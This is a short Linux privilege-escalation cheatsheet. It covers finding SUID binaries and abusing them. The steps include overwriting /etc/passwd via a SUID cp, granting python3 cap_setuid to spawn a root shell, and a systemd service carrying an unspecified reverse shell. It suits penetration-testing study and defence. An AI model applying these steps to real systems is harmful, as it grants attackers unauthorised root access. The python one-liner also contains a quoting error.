

SUID Binaries

Cheatsheet - Linux

Privilege Escalation

Introduction

SUID (Set User ID) binaries are programs that run with the file owner's privileges instead of the user's. These binaries can be exploited to escalate privileges if misconfigured or combined with vulnerable binaries. Privilege escalation via SUID binaries is a common vector for attackers and an essential area for defenders to monitor.

This cheatsheet outlines methods to discover and exploit SUID binaries for privilege escalation, along with other relevant techniques, such as abusing capabilities and environment variables.

1. Finding SUID Binaries

To begin, you need to find binaries with the SUID bit set on the target system.

Command	Description
<code>find / -type f -perm -04000 -ls 2>/dev/null</code>	Lists all files with the SUID bit enabled.

→Next Steps:

- Analyze the listed binaries using [GTF0Bins SUID](#).
 - Check for binaries that allow editing files, executing commands, or interacting with the environment.
-

2. Exploiting SUID Binaries

OVERWRITING /ETC/PASSWD WITH CP

Scenario	Steps
Abusing SUID-enabled cp	1. Copy the original /etc/passwd to your directory. 2. Edit the copy to replace x with a hashed password (openssl passwd [password]). 3. Use SUID-enabled cp to overwrite /etc/passwd. 4. Use su to switch to root with the new password.

LEVERAGING SETCAP FOR PRIVILEGE ESCALATION

Scenario	Steps
Using setcap with Python	1. Locate Python binary (whereis python3). 2. Copy it to a writeable directory. 3. Apply setcap cap_setuid+ep python3. 4. Run: ./python3 -c 'import os; os.setuid(0); os.system("/bin/bash')'.

→Reference: [Hacking Articles: Linux Capabilities](#)

ABUSING SYSTEMCTL

Scenario	Steps
Creating a Malicious Systemd Service	1. Navigate to /dev/shm or any writeable directory. 2. Create a service file (e.g., root.service). 3. Add a reverse shell payload or command execution. 4. Enable the service: /bin/systemctl enable /dev/shm/root.service. 5. Start the service: /bin/systemctl start root.service.

3. Environment Variables Abuse

Some binaries rely on environment variables to determine their behavior. Misconfigured or insecurely coded binaries can be abused by manipulating these variables.

Command/Steps	Description
<code>ltrace /usr/sbin/[binary]</code>	View environment variables and library calls used by the binary.
<code>export [variable]=[value]</code>	Modify environment variables to exploit vulnerable binaries.
Example	Export admin=1 for binaries checking admin privileges (e.g., /usr/sbin/checker).
